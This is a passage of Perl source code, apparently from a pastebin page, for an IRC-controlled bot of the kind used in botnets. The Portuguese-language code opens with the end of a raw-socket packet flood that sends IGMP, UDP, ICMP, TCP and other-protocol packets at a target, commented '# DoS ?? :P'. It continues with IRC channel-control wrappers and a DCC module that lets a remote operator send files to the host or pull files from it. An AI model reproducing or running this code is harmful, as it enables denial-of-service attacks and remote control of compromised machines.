  1290.  
  1291. last if $cur_time >= $ftime;
  1292.  
  1293. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  1294.  
  1295. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  1296.  
  1297. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  1298.  
  1299. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  1300.  
  1301.  
  1302.  
  1303. # DoS ?? :P
  1304.  
  1305. for (my $pc = 3; $pc <= 255;$pc++) {
  1306.  
  1307. next if $pc == 6;
  1308.  
  1309. $cur_time = time - $itime;
  1310.  
  1311. last if $cur_time >= $ftime;
  1312.  
  1313. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  1314.  
  1315. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  1316.  
  1317. }
  1318.  
  1319. }
  1320.  
  1321. last if $cur_time >= $ftime;
  1322.  
  1323. }
  1324.  
  1325. return($cur_time, %pacotes);
  1326.  
  1327. }
  1328.  
  1329.  
  1330.  
  1331. #############
  1332.  
  1333. # ALIASES #
  1334.  
  1335. #############
  1336.  
  1337.  
  1338.  
  1339. sub action {
  1340.  
  1341. return unless $#_ == 1;
  1342.  
  1343. sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  1344.  
  1345. }
  1346.  
  1347.  
  1348.  
  1349. sub ctcp {
  1350.  
  1351. return unless $#_ == 1;
  1352.  
  1353. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  1354.  
  1355. }
  1356.  
  1357. sub msg {
  1358.  
  1359. return unless $#_ == 1;
  1360.  
  1361. sendraw("PRIVMSG $_[0] :$_[1]");
  1362.  
  1363. }
  1364.  
  1365.  
  1366.  
  1367. sub notice {
  1368.  
  1369. return unless $#_ == 1;
  1370.  
  1371. sendraw("NOTICE $_[0] :$_[1]");
  1372.  
  1373. }
  1374.  
  1375.  
  1376.  
  1377. sub op {
  1378.  
  1379. return unless $#_ == 1;
  1380.  
  1381. sendraw("MODE $_[0] +o $_[1]");
  1382.  
  1383. }
  1384.  
  1385. sub deop {
  1386.  
  1387. return unless $#_ == 1;
  1388.  
  1389. sendraw("MODE $_[0] -o $_[1]");
  1390.  
  1391. }
  1392.  
  1393. sub hop {
  1394.  
  1395. return unless $#_ == 1;
  1396.  
  1397. sendraw("MODE $_[0] +h $_[1]");
  1398.  
  1399. }
  1400.  
  1401. sub dehop {
  1402.  
  1403. return unless $#_ == 1;
  1404.  
  1405. sendraw("MODE $_[0] +h $_[1]");
  1406.  
  1407. }
  1408.  
  1409. sub voice {
  1410.  
  1411. return unless $#_ == 1;
  1412.  
  1413. sendraw("MODE $_[0] +v $_[1]");
  1414.  
  1415. }
  1416.  
  1417. sub devoice {
  1418.  
  1419. return unless $#_ == 1;
  1420.  
  1421. sendraw("MODE $_[0] -v $_[1]");
  1422.  
  1423. }
  1424.  
  1425. sub ban {
  1426.  
  1427. return unless $#_ == 1;
  1428.  
  1429. sendraw("MODE $_[0] +b $_[1]");
  1430.  
  1431. }
  1432.  
  1433. sub unban {
  1434.  
  1435. return unless $#_ == 1;
  1436.  
  1437. sendraw("MODE $_[0] -b $_[1]");
  1438.  
  1439. }
  1440.  
  1441. sub kick {
  1442.  
  1443. return unless $#_ == 1;
  1444.  
  1445. sendraw("KICK $_[0] $_[1] :$_[2]");
  1446.  
  1447. }
  1448.  
  1449.  
  1450.  
  1451. sub modo {
  1452.  
  1453. return unless $#_ == 0;
  1454.  
  1455. sendraw("MODE $_[0] $_[1]");
  1456.  
  1457. }
  1458.  
  1459. sub mode { modo(@_); }
  1460.  
  1461.  
  1462.  
  1463. sub j { &join(@_); }
  1464.  
  1465. sub join {
  1466.  
  1467. return unless $#_ == 0;
  1468.  
  1469. sendraw("JOIN $_[0]");
  1470.  
  1471. }
  1472.  
  1473. sub p { part(@_); }
  1474.  
  1475. sub part {sendraw("PART $_[0]");}
  1476.  
  1477.  
  1478.  
  1479. sub nick {
  1480.  
  1481. return unless $#_ == 0;
  1482.  
  1483. sendraw("NICK $_[0]");
  1484.  
  1485. }
  1486.  
  1487.  
  1488.  
  1489. sub invite {
  1490.  
  1491. return unless $#_ == 1;
  1492.  
  1493. sendraw("INVITE $_[1] $_[0]");
  1494.  
  1495. }
  1496.  
  1497. sub topico {
  1498.  
  1499. return unless $#_ == 1;
  1500.  
  1501. sendraw("TOPIC $_[0] $_[1]");
  1502.  
  1503. }
  1504.  
  1505. sub topic { topico(@_); }
  1506.  
  1507.  
  1508.  
  1509. sub whois {
  1510.  
  1511. return unless $#_ == 0;
  1512.  
  1513. sendraw("WHOIS $_[0]");
  1514.  
  1515. }
  1516.  
  1517. sub who {
  1518.  
  1519. return unless $#_ == 0;
  1520.  
  1521. sendraw("WHO $_[0]");
  1522.  
  1523. }
  1524.  
  1525. sub names {
  1526.  
  1527. return unless $#_ == 0;
  1528.  
  1529. sendraw("NAMES $_[0]");
  1530.  
  1531. }
  1532.  
  1533. sub away {
  1534.  
  1535. sendraw("AWAY $_[0]");
  1536.  
  1537. }
  1538.  
  1539. sub back { away(); }
  1540.  
  1541. sub quit {
  1542.  
  1543. sendraw("QUIT :$_[0]");
  1544.  
  1545. exit;
  1546.  
  1547. }
  1548.  
  1549.  
  1550.  
  1551. # DCC
  1552.  
  1553. package DCC;
  1554.  
  1555.  
  1556.  
  1557. sub connections {
  1558.  
  1559. my @ready = $dcc_sel->can_read(1);
  1560.  
  1561. # return unless (@ready);
  1562.  
  1563. foreach my $fh (@ready) {
  1564.  
  1565. my $dcctipo = $DCC{$fh}{tipo};
  1566.  
  1567. my $arquivo = $DCC{$fh}{arquivo};
  1568.  
  1569. my $bytes = $DCC{$fh}{bytes};
  1570.  
  1571. my $cur_byte = $DCC{$fh}{curbyte};
  1572.  
  1573. my $nick = $DCC{$fh}{nick};
  1574.  
  1575.  
  1576.  
  1577. my $msg;
  1578.  
  1579. my $nread = sysread($fh, $msg, 10240);
  1580.  
  1581.  
  1582.  
  1583. if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  1584.  
  1585. $DCC{$fh}{status} = "Cancelado";
  1586.  
  1587. $DCC{$fh}{ftime} = time;
  1588.  
  1589. $dcc_sel->remove($fh);
  1590.  
  1591. $fh->close;
  1592.  
  1593. next;
  1594.  
  1595. }
  1596.  
  1597.  
  1598.  
  1599. if ($dcctipo eq "get") {
  1600.  
  1601. $DCC{$fh}{curbyte} += length($msg);
  1602.  
  1603.  
  1604.  
  1605. my $cur_byte = $DCC{$fh}{curbyte};
  1606.  
  1607.  
  1608.  
  1609. open(FILE, ">> $arquivo");
  1610.  
  1611. print FILE "$msg" if ($cur_byte <= $bytes);
  1612.  
  1613. close(FILE);
  1614.  
  1615.  
  1616.  
  1617. my $packbyte = pack("N", $cur_byte);
  1618.  
  1619. print $fh "$packbyte";
  1620.  
  1621.  
  1622.  
  1623. if ($bytes == $cur_byte) {
  1624.  
  1625. $dcc_sel->remove($fh);
  1626.  
  1627. $fh->close;
  1628.  
  1629. $DCC{$fh}{status} = "Recebido";
  1630.  
  1631. $DCC{$fh}{ftime} = time;
  1632.  
  1633. next;
  1634.  
  1635. }
  1636.  
  1637. } elsif ($dcctipo eq "send") {
  1638.  
  1639. my $send = $fh->accept;
  1640.  
  1641. $send->autoflush(1);
  1642.  
  1643. $dcc_sel->add($send);
  1644.  
  1645. $dcc_sel->remove($fh);
  1646.  
  1647. $DCC{$send}{tipo} = 'sendcon';
  1648.  
  1649. $DCC{$send}{itime} = time;
  1650.  
  1651. $DCC{$send}{nick} = $nick;
  1652.  
  1653. $DCC{$send}{bytes} = $bytes;
  1654.  
  1655. $DCC{$send}{curbyte} = 0;
  1656.  
  1657. $DCC{$send}{arquivo} = $arquivo;
  1658.  
  1659. $DCC{$send}{ip} = $send->peerhost;
  1660.  
  1661. $DCC{$send}{porta} = $send->peerport;
  1662.  
  1663. $DCC{$send}{status} = "Enviando";
  1664.  
  1665.  
  1666.  
  1667. #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
  1668.  
  1669. open(FILE, "< $arquivo");
  1670.  
  1671. my $fbytes;
  1672.  
  1673. read(FILE, $fbytes, 1024);
  1674.  
  1675. print $send "$fbytes";
  1676.  
  1677. close FILE;
  1678.  
  1679. # delete($DCC{$fh});
  1680.  
  1681. } elsif ($dcctipo eq 'sendcon') {
  1682.  
  1683. my $bytes_sended = unpack("N", $msg);
  1684.  
  1685. $DCC{$fh}{curbyte} = $bytes_sended;
  1686.  
  1687. if ($bytes_sended == $bytes) {
  1688.  
  1689. $fh->close;
  1690.  
  1691. $dcc_sel->remove($fh);
  1692.  
  1693. $DCC{$fh}{status} = "Enviado";
  1694.  
  1695. $DCC{$fh}{ftime} = time;
  1696.  
  1697. next;
  1698.  
  1699. }
  1700.  
  1701. open(SENDFILE, "< $arquivo");
  1702.  
  1703. seek(SENDFILE, $bytes_sended, 0);
  1704.  
  1705. my $send_bytes;
  1706.  
  1707. read(SENDFILE, $send_bytes, 1024);
  1708.  
  1709. print $fh "$send_bytes";
  1710.  
  1711. close(SENDFILE);
  1712.  
  1713. }
  1714.  
  1715. }
  1716.  
  1717. }
  1718.  
  1719.  
  1720.  
  1721.  
  1722.  
  1723. sub SEND {
  1724.  
  1725. my ($nick, $arquivo) = @_;
  1726.  
  1727. unless (-r "$arquivo") {
  1728.  
  1729. return(0);
  1730.  
  1731. }
  1732.  
  1733.  
  1734.  
  1735. my $dccark = $arquivo;
  1736.  
  1737. $dccark =~ s/[.*\/](\S+)/$1/;
  1738.  
  1739.  
  1740.  
  1741. my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  1742.  
  1743. my $longip = unpack("N",inet_aton($meuip));
  1744.  
  1745.  
  1746.  
  1747. my @filestat = stat($arquivo);
  1748.  
  1749. my $size_total=$filestat[7];
  1750.  
  1751. if ($size_total == 0) {
  1752.  
  1753. return(0);
  1754.  
  1755. }
  1756.  
  1757.  
  1758.  
  1759. my ($porta, $sendsock);
  1760.  
  1761. do {
  1762.  
  1763. $porta = int rand(64511);
  1764.  
  1765. $porta += 1024;
  1766.  
  1767. $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  1768.  
  1769. } until $sendsock;
  1770.  
  1771.  
  1772.  
  1773. $DCC{$sendsock}{tipo} = 'send';
  1774.  
  1775. $DCC{$sendsock}{nick} = $nick;
  1776.  
  1777. $DCC{$sendsock}{bytes} = $size_total;
  1778.  
  1779. $DCC{$sendsock}{arquivo} = $arquivo;
  1780.  
  1781.  
  1782.  
  1783.  
  1784.  
  1785. &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  1786.  
  1787.  
  1788.  
  1789. }
  1790.  
  1791.  
  1792.  
  1793. sub GET {
  1794.  
  1795. my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  1796.  
  1797. return(0) if (-e "$arquivo");
  1798.  
  1799. if (open(FILE, "> $arquivo")) {
  1800.  
  1801. close FILE;
  1802.  
  1803. } else {
  1804.  
  1805. return(0);
  1806.  
  1807. }
  1808.  
  1809.  
  1810.  
  1811. my $dccip=fixaddr($dcclongip);
  1812.  
  1813. return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  1814.  
  1815. my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  1816.  
  1817. $dccsock->autoflush(1);
  1818.  
  1819. $dcc_sel->add($dccsock);
  1820.  
  1821. $DCC{$dccsock}{tipo} = 'get';
  1822.  
  1823. $DCC{$dccsock}{itime} = time;
  1824.  
  1825. $DCC{$dccsock}{nick} = $nick;
  1826.  
  1827. $DCC{$dccsock}{bytes} = $bytes;
  1828.  
  1829. $DCC{$dccsock}{curbyte} = 0;
  1830.  
  1831. $DCC{$dccsock}{arquivo} = $arquivo;
  1832.  
  1833. $DCC{$dccsock}{ip} = $dccip;
  1834.  
  1835. $DCC{$dccsock}{porta} = $dccporta;
  1836.  
  1837. $DCC{$dccsock}{status} = "Recebendo";
  1838.  
  1839. }
  1840.  
  1841.  
  1842.  
  1843. # po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
  1844.  
  1845. sub Status {
  1846.  
  1847. my $socket = shift;
  1848.  
  1849. my $sock_tipo = $DCC{$socket}{tipo};
  1850.  
  1851. unless (lc($sock_tipo) eq "chat") {
  1852.  
  1853. my $nick = $DCC{$socket}{nick};
  1854.  
  1855. my $arquivo = $DCC{$socket}{arquivo};
  1856.  
  1857. my $itime = $DCC{$socket}{itime};
  1858.  
  1859. my $ftime = time;
  1860.  
  1861. my $status = $DCC{$socket}{status};
  1862.  
  1863. $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  1864.  
  1865.  
  1866.  
  1867. my $d_time = $ftime-$itime;
  1868.  
  1869.  
  1870.  
  1871. my $cur_byte = $DCC{$socket}{curbyte};
  1872.  
  1873. my $bytes_total = $DCC{$socket}{bytes};
  1874.  
  1875.  
  1876.  
  1877. my $rate = 0;
  1878.  
  1879. $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  1880.  
  1881. my $porcen = ($cur_byte*100)/$bytes_total;
  1882.  
  1883.  
  1884.  
  1885. my ($r_duv, $p_duv);
  1886.  
  1887. if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  1888.  
  1889. $r_duv = $3; $r_duv++ if $4 >= 5;
  1890.  
  1891. $rate = "$1\.$2"."$r_duv";
  1892.  
  1893. }
  1894.  
  1895. if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  1896.  
  1897. $p_duv = $3; $p_duv++ if $4 >= 5;
  1898.  
  1899. $porcen = "$1\.$2"."$p_duv";
  1900.  
  1901. }
  1902.  
  1903. return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  1904.  
  1905. }
  1906.  
  1907.  
  1908.  
  1909.  
  1910.  
  1911. return(0);
  1912.  
  1913. }
  1914.  
  1915.  
  1916.  
  1917.  
  1918.  
  1919. # esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
  1920.  
  1921. sub fixaddr {
  1922.  
  1923. my ($address) = @_;
  1924.  
  1925.  
  1926.  
  1927. chomp $address; # just in case, sigh.
  1928.  
  1929. if ($address =~ /^\d+$/) {
  1930.  
  1931. return inet_ntoa(pack "N", $address);
  1932.  
  1933. } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  1934.  
  1935. return $address;
  1936.  
  1937. } elsif ($address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
  1938.  
  1939. return inet_ntoa(((gethostbyname($address))[4])[0]);
  1940.  
  1941. } else {
  1942.  
  1943. return;
  1944.  
  1945. }
  1946.  
  1947. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement